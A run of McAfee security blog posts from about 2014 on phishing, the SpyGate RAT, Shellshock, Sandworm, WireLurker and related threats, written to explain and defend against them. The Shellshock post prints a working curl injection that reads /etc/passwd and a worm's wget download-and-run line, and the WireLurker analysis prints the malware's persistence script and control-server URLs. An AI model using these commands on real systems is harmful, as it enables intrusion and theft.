Phishing scams are immensely popular and we see millions of phishing messages everyday. Today we offer the top three phishing scams that attempt to steal your web mail credentials.

Web Mail Scam

This scam starts with an email that appears to come from Administrator or Helpdesk and requests that you validate or update your account. Clicking on the link in this message will take you to a fake Outlook Web Access Login page. This page is generally hosted on sites that are created by using free services. Attackers also use vulnerable servers (running CMS) to upload these fake pages, which allow scammers to collect your username and password for their own malicious use.

iTunes Scam

This attempt starts with an email purporting to be from the Apple Store. The email informs users that their accounts may have been hijacked. Users are asked to click a link and supply information to restore the account.

Those panicked into clicking the link will be taken to a bogus website that looks like a genuine Apple login page. Attackers often use an “apple.com” string in the link to make the link appear legitimate, for example: hxxp://itunes.id.apple.com.example.com/.

Gmail Scam

This Gmail scam is by far the most sophisticated phishing attack. It also starts with an email that urges readers to view an important document on Google Docs. Clicking the link will take them to a fake Google Docs login page.

Recently, attackers used a Google Drive public folder to upload a fake Google Docs login page and then used Google Drive’s preview feature to get a publicly accessible URL to include in their messages. Because the page is hosted on Google’s server and is served over SSL, the page appears more convincing. After discovering the attack, Google has successfully removed the phishing pages, but the attackers are still using other vulnerable servers to upload the fake login page.

It’s quite common to be prompted with a login page when accessing a Google Docs link, and many people may enter their credentials.

An ounce of prevention is worth a pound of cure in dealing with phishing. We advise you to watch for such scams and their modus operandi. You can avoid phishing attacks by following these simple steps:

• Don’t click on links sent via email messages by someone you don’t know
• Before entering credentials, always check the URL in the browser’s address bar for authenticity
• Be careful while sharing sensitive personal information over social networking sites
• Regularly change your account passwords
• Never share your account credentials over email or text

McAfee customers are protected against these attacks.

The post Top 3 Phishing Attacks Use Similar Tricks appeared first on McAfee.

Malware authors have a tendency to conceal themselves so that they can continue their actions uninterrupted. However, we have observed the opposite trend when some authors, who like to show their swagger when writing malware—in particular remote access tools (RATs). They proudly spread their work and post videos on YouTube to demonstrate them. In this post we focus on two samples that are very popular in the Middle East. These particular malware authors are very vocal about the malicious software they created, posting details on social media and other hacker forums. The malware executables are extremely user friendly; anyone with basic computing experience can generate an entire set of new customized malware to steal data from targeted users.

The first campaign is SpyGate, a fully functional RAT written in Visual Basic. The malware author openly advertises the tool on social media, with a download link included.

Combining the data we have found, we have a profile of a young man living in Riyadh, Saudi Arabia, who studied in Dubai and seems to like the game “Dragon City.” Although he seems to change his desktop wallpaper often (as seen on YouTube), he’s clearly developing this RAT.

Once the RAT is downloaded and executes, we see the following window:

The malware has a proper GUI that provides the user with various options, such as monitoring the victim’s screen, obtaining all the keylogs, etc.

One interesting option is the “build/compile malware” tab, which is the source of most copies of SpyGate on the web. This option lets script kiddies or malware users compile their own “customized” malware. In the host address window they can add their own web addresses to receive the stolen data.

The malware author also has options to statically alter the top level info of the binary, such as changing the filename, extension, and even the icon. These steps are useful to mislead antimalware vendors and escape static clustering and detection. The final output after this compilation is a new zero-day binary with an entire set of password-stealing capabilities. The malware author’s goal is to steal as much data as possible.

On execution, SpyGate creates two temp files: melt.tmp, which stores the malware’s execution path (for tracking purposes); and oosuacodersoo.tmp, which stores all the keylogs from the victim’s system. For example, typing “Hello Spygate!! How are you” logs all keystrokes and spaces.

But SpyGate is more than just a keylogger. It attempts to steal Google Chrome login data, Internet Explorer autocomplete forms data, FTP passwords, and other data.

SpyGate also checks for antimalware programs. The list is long and contains about 50 vendors, including McAfee.

While examining the spread of this RAT, we discovered several control servers hosted in the Middle East, and targeting numerous users around the globe.

SpyGate: the source of KingRAT

We saw a tremendous variety of new Zeus variants when its source code was leaked, and now we’ve seen similar development based on SpyGate. The open exchange of information among forum members leads often to modified and even more ferocious RATs. One such offshoot of SpyGate is KingRAT 0.1, which has been made public by the malware author “Hacker Syria DZ.” We observed communication between the RAT authors in this article on social media.

The executable is hosted on a Middle East site as a RAR archive. Upon execution, we see a GUI that gives various options.

Under the build option, a user can compile a binary to suit custom needs. For example, the user can block sites such as Virustotal.com, disable debuggers like OllyDbg, and even decide whether to incorporate USB-infection capabilities.

After we compiled a new RAT, we found the file YmzdHViIGdlbaW9uPTEuMC4wLjAsIGN1bHR1cmU9bmVmVyYXRvciB2MS4wLCJhbCw.log in templates folder. This file stores the keystrokes. Although the keylogging module is good for tracing the process name, the keystroke module appears to be buggy. Only partial keystrokes are stored.

Despite its different and stylish GUI, KingRAT does nearly the same work as SpyGate. The author has tried to hide the reference to SpyGate in the front end. However, a binary analysis makes it evident that this malware uses the same SpyGate code. Below we see the “no-ip” and “Paltalk” password-stealing modules for SpyGate (on the left) and KingRAT, respectively. The code is the same; only the password-stealing module is left out by the KingRAT author.

We have more evidence of KingRAT’s origins in this reference to SpyGate:

Although the authoring of tools such as RATs, cryptors, and malware seems to be “l33t” and earn status in the Middle East underground, the danger remains that many teenagers play with these tools without understanding the risks. Not only do some of these kits contain backdoors, but hacking into victims’ computers is a crime in most countries.

McAfee detects the parent compiler as SpyGateCompiler! and the resultant compiled malware as SpyGate!

A Yara rule to detect SpyGate:

rule SpyGate_v2_9
{

meta:

date = “2014/09”
maltype = “Spygate v2.9 Remote Access Trojan”
filetype = “exe”

strings:

$1 = “shutdowncomputer” wide
$2 = “shutdown -r -t 00″ wide
$3 = “blockmouseandkeyboard” wide
$4 = “ProcessHacker”
$5 = “FileManagerSplit” wide

condition:

all

}

The post Middle-East Developer of SpyGate Struts His Stuff Online appeared first on McAfee.

European security researcher Stéphane Chazelashas discovered a critical vulnerability in the command-line shell known as Bash, or GNU Bourne-again Shell, the most widely deployed shell for Unix-based systems. The bug allows arbitrary, injected code to be executed as part of the assignment of environment variables. While Bash is deployed in many systems, including Linux, Debian, Ubuntu, MAC OS X, Android, and has even been ported to Windows, not all Bash implementations are vulnerable/exposed.

There is already a lot of media attention on the size and scope of this threat. The distinction between vulnerable hosts and truly exposed hosts becomes critical in this scenario. There are numerous variables required for exploitation to be successful. Our research teams are diligently analyzing the finer points of this threat and as more detail becomes available (and confirmed), it will be communicated quickly and clearly.  At this time, we recommend following the guidance of affected vendors around the application of available patches and updates.

Critically exposed systems include, but are not limited to, those providing shells to remote users, parsing of CGI scripts, or executing remote commands.

How we’re addressing the problem
Several McAfee products/technologies have been updated to address or mitigate this issue. Please continue to watch this location, as this list will be continually updated as our analysis progresses.

• McAfee Network Security Platform –Coverage for Apache CGI and SSH is released.
• McAfee Next Generation Firewall – Coverage Released
• McAfee Vulnerability Manager – Coverage Released
• McAfee AV Engines – Coverage Released Today in DAT 7573
• McAfee Host Intrusion Prevention – Coverage exists on Linux and Solaris endpoints (Apache CGI).  Further signatures will be included in an upcoming release.

How are McAfee / Intel Security Products Affected?

The following security bulletin was just released by McAfee’s PSIRT team.  This document will be updated on regularly so please check back for further information.

What should users do?

Many Unix distributions have patches already available, and others will be available soon. Vulnerable systems should be patched as soon as possible, according to guidance from affected vendors/products.

To read details on the technical aspects of the Bash Bug see blog here:  http://blogs.mcafee.com/mcafee-labs/dealing-bash-bug-2

The post What you need to know about the Bash Bug aka Shellshock appeared first on McAfee.

By Brad Antoniewicz and Raj Samani

Headlines across multiple media outlets are sounding the alarm on a new vulnerability affecting Linux and Unix systems. Nicknamed “Shellshock,” the vulnerability is said by some to have wider reach and impact than the recent Heartbleed vulnerability in April that, by some estimates, affected over million Internet-accessible systems.  For a further high level overview, visit Intel Security CTO, Mike Fey’s blog here.

What follows is a more technical look inside Shellshock.

Impact

ShellShock can be exploited in various ways depending on how the application handles user-supplied input and interfaces with the operating system. This means that although researchers are releasing code that targets specific software, the underlying fix for everything is to upgrade your version of Bash. As of today, we’ve seen exploits in the wild and proof of concept code demonstrating vulnerabilities in:

• Apache’s mod_cgi and mod_cgid
• OpenSSH (currently only limited exploitable conditions)
• Dhcpcd
• Nginx
• Certain PHP applications

By exploiting this vulnerability, the attacker has the ability to execute commands on the server in the context of the user that the application is running in. For instance, Apache generally runs as a restricted user named “www-data.” While this user often does not have access to the most sensitive data on the system, escalating privileges with this initial foothold on the server is often trivial. The attacker may also try to launch attacks against internally reachable hosts from that compromised host without the need of privileged access.  For embedded systems, many times Apache is set to run as root, giving the attacker full control over the system.

Technical detail

To help illustrate the technical details of the vulnerability, let’s look at one of the early proof of concepts affecting Apache’s mod_cgid. Here, the attacker leverages “curl,” a command line utility that can be used to interact with web servers, to retrieve the content of the /etc/passwd file.

curl -A ‘() { :; };echo;/bin/cat /etc/passwd’ http://target/cgi-bin/test.cgi

curl’s –A option set’s the User-Agent HTTP header, which the attacker defines as the exploit string. This string ultimately gets set on the server in the HTTP_USER_AGENT environment variable:

HTTP_USER_AGENT=() {:;};echo; /bin/cat /etc/passwd

It’s important to note that HTTP_USER_AGENT is not the only environment variable that can be set by the attacker;there are many others available.

Before we dive into the vulnerability, let’s take a second to understand some of the functionality available within Bash.

Bash supports the creation of functions in the shell and those functions can shared with child processes. For instance, if we created a shell function named “MyFunction” which just outputted “Hello” it would look like this:

$ function MyFunction { echo “Hello”; }

To make it available to the environment and future child processes we’ll export it:

$ export -f MyFunction

Now we can call it from where ever we are, even a child bash process:

$ bash -c ‘MyFunction’

The way Bash supports the call from the child is by creating an environment variable using the name of the function. So if we look at the environment variables that are set (using env) We’ll see the entry below, note that Bash indicates that this variable is a function by setting its value to start with “(){“.

MyFunction=() { echo “Hello”

}

Ok, back to the exploit. The vulnerability occurs during the processing of variables containing functions. When Bash sets up the environment for the child process and parses the variables, it reads beyond that of the function (indicated by “}”) and effectively executes any trailing commands.

In our original example the attacker defines the HTTP_USER_AGENT variable as a function by setting it to () {:;} then appends arbitrary commands to exploit the vulnerability.

HTTP_USER_AGENT=() {:;};echo; /bin/cat /etc/passwd

When Bash processes, it sets the HTTP_USER_AGENT variable as a function, then executes whatever after it, giving the attacker command execution on the server.

OpenSSH Impact

As of today, there is no unauthenticated remote exploitation of this vulnerability with OpenSSH. OpenSSH does rely on certain environment variables, but they appear to be only set after authentication, which means an attacker would have to somehow affect the user’s session before authenticating to the server.

For instance, on Ubuntu, OpenSSH is configured to copy only the local environment variables named LANG and ones that start with “LC_”. For an attacker to exploit this, they’d have to be able to set one of these variables in the user’s shell (unlikely), then convince the user to connect to a remote system.

export LC_FS=’() { :; }; echo /usr/bin/id”

ssh user@target

In the Wild

There have already been reports of Worms that exploit this vulnerability and various submissions to online malware sites such as VirusTotal.

The sample with most visibility leverages the wget utility to download a malicious binary which has functionality for brute forcing SSH accounts, flooding, and facilitating command and control.

wget.-O./tmp/besh.http://x.x.x.x/nginx;.chmod.777./tmp/besh;./tmp/besh;

Am I Vulnerable?

An easy way to check if the version of Bash you’re running is affected is by launching a shell, setting an environment variable, then spawning a child process. This can be achieved with:

$ env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the system is vulnerable you’ll see:

vulnerable

this is a test

In order to detect vulnerable systems across multiple systems, a manual check may not be the most efficient approach.  Subsequently McAfee Vulnerability Manager (MVM) can be used to scan systems in order to identify those systems that are vulnerable.

McAfee Product Coverage:

For McAfee Product Coverage we advise reading the McAfee Labs Security Advisories posted to the McAfee Community.   If you are not already subscribed to the McAfee Labs Security Advisories, we recommend that you sign up for this free service.

Please also follow the McAfee social media channels (Twitter @McAfee_Labs) for access to the latest resources and advice into this and other threats.  Also the authors for this blog post can be found @brad_anton and @Raj_Samani.

The post Dealing with the Bash Bug appeared first on McAfee.

As the largest dedicated security vendor, McAfee’s goal is to help customers and consumers feel secure in the digital world. It’s certainly not simple, and it’s challenging to keep up with the bad guys. One way to do that is to match our adversaries’ aggressive drive to innovate with our own deeper commitment to collaborate with other members of the security industry.

It’s with that in mind that McAfee has joined Fortinet, Palo Alto Networks, and Symantec as cofounders of the Cyber Threat Alliance. The purpose of the alliance is to drive more effective industry-level collaboration on the analysis and eradication of cybersecurity threats, and to deliver stronger protection to individuals and organizations across all industries.

Security vendors already share threat feeds of various kinds. In fact, McAfee currently has more than 50 partners in our security research ecosystem, through which we exchange threat data or consume threat feeds. What’s different about this agreement is that Cyber Threat Alliance members will share fresher, more complete, and more actionable threat data on the complex and subtle aspects of modern threats:

• Zero-day vulnerabilities
• Botnet control server information
• Mobile malware samples
• Indicators of compromise (IoCs) related to targeted attacks

The alliance establishes a simple model through which member organizations can securely and expeditiously share threat data. This data will help members—and their customers—by bringing greater visibility into threats and techniques that they might otherwise lack.

How will this information sharing benefit McAfee customers? Customers will have access to an even broader and fresher collection of threat intelligence to improve protection. By incorporating new threat knowledge into their McAfee security infrastructure, customers will be able to protect their assets sooner and more comprehensively, despite the increasing complexity of threats.

As soon as the sharing mechanisms are in place—we expect them before the end of the year—the shared data will become part of McAfee’s back-end databases and processes that McAfee Global Threat Intelligence (GTI) uses to enhance protection. It will then be visible to all of McAfee’s network and endpoint security products through their integration with McAfee GTI.

We need to understand and be poised to react to the latest complex and multidimensional attacks of today and tomorrow. This alliance provides a critical framework for educating each other on the infrastructure and evolving tactics behind these attacks.

The post McAfee Founds Cyber Threat Alliance With Industry Partners appeared first on McAfee.

Free mobile apps may introduce security risks that need to be addressed. While businesses need to find ways of monetizing when consumers are not ready to pay directly for using an app,  monetization mechanisms that involve the use of user data should be legal, secure and an informed choice. A bigger disussion follows.

80% of the apps were free in 2011,  95% of the apps expected to be free by 2017

In last few years, mobile apps have seen a general downward pressure on pricing. A Flurry analytics report on app pricing show that while 80% of the apps were free in 2011, the number of free apps has increased to 90% as of 2013. Even the price of paid apps showed a lower revenue per app—in 2011, 15% of paid apps had a price close to $0.99, by 2013 only 6% of apps had this price point as the free apps increased. In a press release early this year, Gartner also confirmed this trend when they said that 95% of the total apps (across all OS’) would become free by 2017.

So how do app developers make money on their apps?

There are three specific trends:

1. Freemium route with in-app-purchases – This is a growing trend. App developers bifurcate their feature set between free and paid. The idea is to hook users through a free offering and provide offers to the user that would like to get access to richer feature set in a paid version. In some cases, some of the app activities, some of the app enticements are available through in-app-purchases.
2. In-app advertisements - Many app developers embed various kinds of advertisements with their app through the use of ad-libraries. Every impression/click earns revenue for app developer. There are many app developer libraries including one from Google.
3. Sponsorships – This is only relevant for a very small group of app developers. In this case the entire cost of the app’s engineering and operations is covered by an outside sponsor. For example, Subway sponsored the ING New York City Marathon app.

However, we have seen some worrying trends! 

• Over-aggressive ad-libraries – Some of the ad-libraries that app developers normally use for monetization were found to be over-aggressive in collecting user details.  A couple of these ad-libraries were collecting details related to a user’s calendar, tracking their locations, last call details, etc. This is something that is beyond the normal realm of ad-libraries. We also had a one-off case of Yahoo! ad-libraries delivering potential scareware to consumers.
• Willful encroachment of user privacy – Some apps have questionable privacy policies  and sell user data to marketing companies without users’ explicit permissions. And other apps such as Path, deliberately upload users’ contact lists without users’ explicit permission.
• Embedding risky URLs - Between April and June 2014, McAfee analyzed approximately 733k apps. Out of those almost 95k (12%) of the apps were found to contain at least one risky URL. While in some small cases this might have been willful insertion, this largely could be attributed to developer ignorance and lack of stricter quality controls in their app development process.
• Weak implementation by app developers - Recently Credit Karma and Fandango were fined by FTC for having exposed sensitive user data by not implementing secure communications between device and their servers. This was due to them not including SSL as part of their implementation when transferring sensitive user data over Internet.

What can be done to address this situation?

Many of the action items clearly lie in the hands of app developers. While the trajectory for app monetization would lie in alternate means as documented earlier, however lack of focus on user privacy/safety would blow up on app developer if they are not cautious (as it happened on Path, Credit Karma and Fandango). The following four suggestions could be considered by app developers:

1. Be extremely cautious of ad-libraries with past incidents – An app developer should look for past privacy violation of any ad-libraries that you are considering to integrate with your app. Also, remember that ad-libraries may not improve your monetization, but a single bad ad-library may destroy your reputation or get you into legal trouble. Also, always read through privacy policies of ad-libraries to understand how they plan to use user data.
2. Implement three principles of safe privacy - Inform, consent and control. Always inform the user about what you plan to do with their data such as encouraging the user to read through your app’s privacy policy. Get explicit consent from the user on use of their personal data, and allow the user to control his/her information that is submitted through your app.
3. Check for URL reputation before adding it to your app - Embedding public facing URLs without validating their security status may put user at risk. An app developer may use McAfee’s free URL verification service to validate a web link before using it into his/her app.
4. Follow a privacy-aware development practice – An app developer should be aware of secure coding practices and ensure that privacy needs are met. Here is an excellent book written by McAfee privacy experts that could be used for reference: http://www.amazon.com/The-Privacy-Engineers-Manifesto-Getting/dp/1430263555.

The post Free Mobile Apps = Compromises On User Safety? appeared first on McAfee.

Update of October 25: Some comments posted after we published this report suggest that our proof-of-concept exploit will trigger the UAC (User Account Control) on Windows. We did not observe this during our analysis.

During the last few days researchers at McAfee Labs have been actively investigating Sandworm, the Windows packager zero-day attack (CVE-2014-4114). McAfee has already released various updates through our products to protect our customers, and we continue to analyze this attack.

During our investigation, we found that the Microsoft’s official patch (MS14-060, KB3000869) is not robust enough. In other words, attackers might still be able to exploit the vulnerability even after the patch is applied. Users who have installed the official patch are still at risk.

This finding has significant impact because attacks leveraging the vulnerability are still very active. We reported our findings to the Microsoft Security Response Center immediately after we successfully developed a proof of concept on October 17. Since then we have actively worked with Microsoft to resolve this issue.

Today, Microsoft has released Security Advisory 3010060 as well as the “Fix It” temporary patch. A new ID, CVE-2014-6352, has been assigned to track this issue. To protect hundreds of millions of Windows users, we are not sharing any of the details until a permanent patch from Microsoft is available to the public.

While we will continue to monitor potential new attacks in the wild, users who have concerns about their security may consider the following actions:

• Apply the Microsoft “Fix It” or workarounds shared in Security Advisory 3010060.
• Apply the first or the second workarounds shared in Security Bulletin MS14-060. These are “Disable the WebClient service” and “Block TCP ports 139 and 445.” We believe these two workarounds will be effective to block the new exploitation method, though the third in the bulletin (“Block the launching of executables via Setup information files”) may not be effective.

We thank James Forshaw of Google Project Zero, who helped us with this finding. Thanks as well to Bing Sun, Chong Xu, and Stanley Zhu of McAfee Labs for their help with this research and investigation.

The post New Exploit of Sandworm Zero-Day Could Bypass Official Patch appeared first on McAfee.

Beyond the relentless headlines of data breaches, credit card theft, and many other cybersecurity-related stories lies a very simple explanation. Sometimes it’s as simple as an employee clicking on a link within an email, or a user of a popular cloud service using 123456 as the password.

So with recent headlines reporting the widespread theft of “millions” from ATMs infected with Tyupkin malware, we undertook an analysis in an effort to understand the simple explanation behind the attack. A clue to this simple explanation lies in the title of this post. Simply put, the attackers were able to gain physical access to the ATMs and reboot using a Live CD. They then followed up with direct manipulation of security controls and installation of the malware executable onto the machine. Not only could the attackers infect a system and ultimately steal the millions as we all saw across the 140 characters that inevitably follow such stories, but the malware was also able to delete itself, and clear all logs in an effort to cover the tracks of the criminals.

Herein lies the nub of the issue. There are solutions that can greatly reduce the risk of malware attacks. However, there is not just one solution that will accomplish this. ATM security must be implemented in a layered approach. The layers create barriers of protection to make the work of criminals more difficult. Changing the boot order sequence, would go far in preventing the attacks. Eliminating the capability to boot from external media would also be effective as another layer of protection.

To add more protection, we need to consider how ATMs are deployed. Some models are designed to be used in certain settings. Additional physical protection for the ATM CPU needs to be implemented. In such circumstances there are approaches that should be considered that not only include physical security controls (such as alarms and closed-circuit TV) but also tamper-proof security controls. Best practice recommends a layered approach to security so that criminals must jump lots of hurdles and not just one. A weakness in one layer is mitigated by security provisions elsewhere.

A combination of physical, process, and logical controls provides a robust environment. Determining the level of security for such environments means that in future risk assessments should not assume that all devices will be in physical environments that are controlled, and that today criminals are becoming more brazen in mixing physical and cyber elements in modern-day crimes.

We would like to thank the team at Kaspersky for providing their analysis into the criminal campaign to our research team.

The post Defence-in-depth, more than a buzzword appeared first on McAfee.

“Distrust and caution are the parents of security”–Benjamin Franklin

A recent threat targeting Chinese users of Mac OS X and iPhone came to light yesterday. The malware, called WireLurker, is distributed by the Chinese third-party app store Maiyadi. Since the threat’s discovery, more than 400 applications containing the Trojan were identified at the store.

Two very important characteristics of this Trojan are that infection is propagated from Mac OS X to any iOS device that is connected to the machine, and that even non-jailbroken devices are affected.

The malware arrives when the user downloads the Trojanized application from the alternate app store. The Trojan executes and installs its files to the following folder:

• /usr/local/machook

The files installed in this folder are then installed as a persistent service in Mac OS X, as shown in the following script:

#!/bin/sh
basepath=`dirname $0`
mkdir -p /usr/local/machook/
unzip -o -q $basepath/FontMap1.cfg -d /usr/local/machook/
sleep 1
cp -rf /usr/local/machook/com.apple.machook_damon.plist /Library/LaunchDaemons/
/bin/launchctl load -wF /Library/LaunchDaemons/com.apple.machook_damon.plist
cp -rf /usr/local/machook/globalupdate /usr/bin/
cp -rf /usr/local/machook/com.apple.globalupdate.plist /Library/LaunchDaemons/
/bin/launchctl load -wF /Library/LaunchDaemons/com.apple.globalupdate.plist
rm -rf /Users/Shared/FontMap1.cfg
rm -rf /Users/Shared/start.sh

At this point, the malware installs a USB hook callback, and waits for any iOS device to be connected to any USB port. It will also report the infection to its control server at this URL:

• hxxp:// www. comeinbaby. com/app/ getversion.php ?v=%@&adid=%@

Once a device is detected, the malware on Mac OS X performs the following actions to compromise the iOS device:

• Get a list of all applications installed in the device
• Get the hardware ID of the device
• Submit this information to the control server
• Create a backup on the local disk of all applications on the device
• Inject the malicious iOS binary into each application
• Install the applications on the device

Code to get the list of installed applications on the device.

The malware will perform the preceding actions even if the device is not jail broken. To do this, the malware will attempt to install a security profile in the device. This profile contains a fake digital certificate to sign the Trojan packages.

If the user accepts the installation of the security profile, any application signed by the digital certificate can be installed and executed without warning to the user.

After the Trojanized applications are installed on the device, any time the user starts one of them the malware will execute, too.

The malware can steal user information including contacts, bookmarks, email, etc. It can also download and install additional applications to the device without user consent. We have not yet seen other malicious files installed, but it is possible.

This behavior has been reported by users of the Maiyadi app store since August, but may have been overlooked because the blog is not in English:

A user reporting the Machook behavior on August 21.

All files related to the attack seem to have been developed by the same authors. The following information is present in the iOS malware:

com.maiyadi.start
 subject.CN
 &iPhone Developer: li tjcy (967X86AAT5)
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "
 <plist version="1.0">
 <dict>
 <key>application-identifier</key>
 <string>YK3M5NA37D.com.maiyadi.start</string>

And the debug information contain the names of two authors:

•  /Users/lifei/Library/Developer/Xcode/DerivedData/myProject-bempnuunysxoafcdeokuvvfigmze/Build/Intermediates/mac_start.build/Release/mac_start.build/Objects-normal/x86_64/main.o’
• /Users/kaifazhe/Library/Developer/Xcode/DerivedData/myProject-bempnuunysxoafcdeokuvvfigmze/Build/Intermediates/updateVer.build/Release/updateVer.build/Objects-normal/x86_64/main.o

Indicators of Compromise

The malware offers many indicators of compromise that can help detect infected machines, including the presence of one of the following files or folders:

• /usr/local/machook
• /tmp/machook.log
• /Library/LaunchDaemons/com.apple.machook_damon.plist
• /Library/LaunchDaemons/com.apple.globalupdate.plist

One or more of the following processes:

• machook
• update
• start.sh
• watch.sh
• WatchProc
• Periodicdate
• Globalupdate
• Manhua
• WhatsApp

Network connections to the following domains/urls:

• hxxp:// www. comeinbaby. com/app/ getversion.php ?v=%@&adid=%@
• hxxp:// www. comeinbaby. com/app/ app.php ?sn=%s&pn=%s&mn=%s&pv=%s&appid=%s&os=macservice&pt=%s&msn=%@&yy=%s
• hxxp:// www. comeinbaby. com/mac/saveinfo.php
• hxxp:// www. comeinbaby. com/mac/ getipa2.php?sn=%@
• hxxp:/ /www. manhuaba. com.cn/active/?udid=%@

The connections above may use the following user agent:

• User-Agent: globalupdate (unknown version) CFNetwork/720.0.9 Darwin/14.0.0

List of known MD5s:

• 15E8728B410BFFFDE8D54651A6EFD162  BikeBaron
• 2B79534F22A89F73D4BB45848659B59B  pphelper
• 358C48414219FDBBBBCFF90C97295DFF  watch.sh
• 3FA4E5FEC53DFC9FC88CED651AA858C6  start (2).sh
• 582FCD682F0F520E95AF1D0713639864  sfbase_v4000.dylib
• 5B43DF4FAC4CAC52412126A6C604853C  machook
• 6B74F8A5B055635BD306D06F20B6D0BC  PPAppInstall_qudaobao
• 7B9E685E89B8C7E11F554B05CDD6819A  7b9e685e89b8c7e11f554b05cdd6819a
• 9037CF29ED485DAE11E22955724A00E7  globalupdate
• 93658B52B0F538C4F3E17FDF3860778C  update
• 9ADFD4344092826CA39BBC441A9EB96F  start.sh
• A72FDBACFD5BE14631437D0AB21FF960  WatchProc
• A8DFBD54DA805D3C52AFC521AB7B354B  itunesupdate
• AA6FE189BAA355A65E6AAFAC1E765F41  periodicdate
• AB8E4D0C0182BA9699E048B067F7F669  manhua
• BC3AA0142FB15EA65DE7833D65A70E36  sfbase.dylib
• C4264B9607A68DE8B9BBBE30436F5F28  com.apple.appstore.PluginHelper
• C9841E34DA270D94B35AE3F724160D5E  CleanApp
• DCA13B4FF64BCD6876C13BBB4A22F450  com.apple.MailServiceAgentHelper
• DEA26A823839B1B3A810D5E731D76AA2  stty5.11.pl
• E03402006332A6E17C36E569178D2097  systemkeychain-helper
• E3A61139735301B866D8D109D715F102  start
• E40DE392C613CD2F9E1E93C6FFD05246  sfbase_v4001.dylib
• ECB429951985837513FDF854E49D0682  machook (3)

Windows Version:

• ECA91FA7E7350A4D2880D341866ADF35  WhatsAppMessenger 2.11.7.exe

Other Resources

A detailed analysis by Palo Alto Networks of both the Windows and Mac OS X variants of this malware can be found at these links:

• Research Palo Alto: WireLurker for Windows
• WireLurker: A New Era in iOS and OS X Malware

As usual, remember that to be safe, you have to act safely. Never download applications from unknown or untrusted sources, don’t click on links sent by any messaging system, even if they appear to come from a known person, and keep all your software up to date and your security products enabled.

McAfee users are protected against this threat in the latest DATs. The threat is detected as OSX/Machook, OSX/Machook.a, OSX/Machook.b, and OSX/Machook.c. SiteAdvisor users are also protected from downloading the malware because the domain is already classified as malicious:

The post Chinese Trojan Hooks Macs, iPhones appeared first on McAfee.

On October 21, we warned the public that a new exploitation method could bypass Microsoft’s official patch (MS14-060, KB3000869) for the infamous Sandworm zero-day vulnerability. As Microsoft has finally fixed the problem today via Security Bulletin MS14-064, it’s time to uncover our findings and address some confusion. This is the first of two posts on this issue. (McAfee has already delivered various protections against this threat to our customers.)

Sandworm background

This zero-day attack was disclosed at almost the same time that the patch was available on the last “Patch Tuesday” (October 14). We found that this is a very serious zero-day attack not only because the attack targeted many sensitive organizations (such as NATO), but also from the technical properties of the vulnerability and exploitation.

• This vulnerability is a logic fault. It’s not related to memory corruption (such as a heap-based overflow or use-after-free) so proven-effective exploitation mitigations such as ASLR and DEP on Windows 7 or later will fail to block the exploit. Nor can Microsoft’s enhanced security tool Enhanced Mitigation Experience Toolkit (EMET) block the attack by default.
• Though the in-the-wild samples are organized as PowerPoint Show (.ppsx) files, this is due to a vulnerability in the Windows Packager COM object (packager.dll). Considering that COM objects are OS-wide function providers, any applications installed on the system can invoke them, which means that other formats can be attacks paths as well. This indicates that all Windows users, not only Office users, are at risk.

The attack has been going on for quite a long time. For example, an exploit generator found on VirusTotal suggests that the vulnerability was discovered in June 2013.

Microsoft’s patch and two bypasses

On October 17, three days after its release, we found that Microsoft’s patch could be bypassed with some tricks. We reported our findings to Microsoft on the same day, which lead to an emergency Security Advisory 3010060, released October 21, with a temporary “Fix It.”

We created a proof of concept (PoC) demonstrating the bypass. We later learned that some other parties, including the Google Security Team, have detected in-the-wild samples that are said to bypass the patch. We analyzed some samples in the wild, and found that they will trigger a user account control (UAC) warning when one logs in with a standard nonadministrator account. However, users on an administrator account or who have disabled the UAC will not see the warning, and the malicious code will execute automatically.

Our PoC takes another path and does not trigger the UAC at all. Thus our PoC is a full bypass while the in-the-wild samples are a partial bypass.

At the root

The vulnerability exists in the Packager object. In fact, there are two issues rather than one.

The first issue allows an attacker to drop an arbitrary file into the temp folder. (We warned the public about this security issue in a July post. Anyone who followed our advice at that time, preventing Office from invoking the Packager object, is immune to the Sandworm attack.)

The second issue is the core of the matter. While the former allows only the writing of a file into the temp folder, the latter allows an attacker to “execute” the file from the temp folder. Let’s take a closer look at how it works.

Looking at the slide definition XML file inside the .ppsx sample, we find something interesting at the following lines:

The “verb” definition in slide1.xml.

The Packager is an OLE object that supports embedding one file into another container application. As described on this MSDN page, OLE objects that provide embedding functions must expose the interface IOleObject. For the preceding XML definition, this calls the DoVerb() method of this IOleObject. Another MSDN page provides the prototype of this method:

Prototype of the IOleObject::DoVerb() function.

And the following shows the location of the IOleObject and the DoVerb() function in the packager.dll:

The IOleObject interface and the DoVerb() function in packager.dll.

The string “cmd=3″ in the slide1.xml suggests that the value of the first parameter (iVerb) is 3. Depending on different values of iVerb, we see a switch to different code in IOleObject::DoVerb(). Following we have the REed code (source code generated through reverse engineering) when iVerb equals 3.

The REed code for handling iVerb=3 in the IOleObject::DoVerb() function.

With further research and testing, we realized that this code performs the same action as clicking the second item on the following menu after right-clicking the filename, as shown here. (The print in red is our addition.)

The “right-click” menu for .inf file.

Reading the whole code of IOleObject::DoVerb(), we see that depending on different values of iVerb, the code will switch to different code paths. We split them into two situations.

• For iVerb values greater than or equal to 3, the code will perform the same action as clicking on the pop-up menu. As we see in the REed code, it subtracts the fixed value 2 from the iVerb value 3, with the result 1, which represents the second item on the right-click menu. We can also invoke any command below “Install” on the menu by supplying a larger iVerb value. For example, if we want to click the third item on the preceding menu, we can set iVerb=4 (“cmd=4”) in the slide definition file.
• For an iVerb value less than 3, the program will follow other code that we have not shown. These actions, such as performing the default action (iVerb=2) or renaming the display name of the Packager object (iVerb=1), are handled well from a security point of view.

We are focusing on the first situation: When the iVerb value is greater than or equal to 3, it will effectively click “Install” or a lower choice from the pop-up menu for the specific file.

For a .inf file, the right-click menu will appear exactly as in our image for a default Windows setup. Thus, in this example “InfDefaultInstall.exe” will execute and various bad thing will happen.

In this post, we have introduced the case and explained the essence of the vulnerability. In a second part, we will discuss the MS14-060 patch, how to bypass it, and more. Watch this space for our next post.

The post Bypassing Microsoft’s Patch for the Sandworm Zero Day: a Detailed Look at the Root Cause appeared first on McAfee.

This is the second part of our analysis of the Sandworm OLE zero-day vulnerability and the MS14-060 patch bypass. Check out the first part here.

Microsoft’s Patch

From our previous analysis we’ve learned that the core of this threat is its ability to effectively right-click a file. Now, let’s see what Microsoft did in its patch MS14-060.

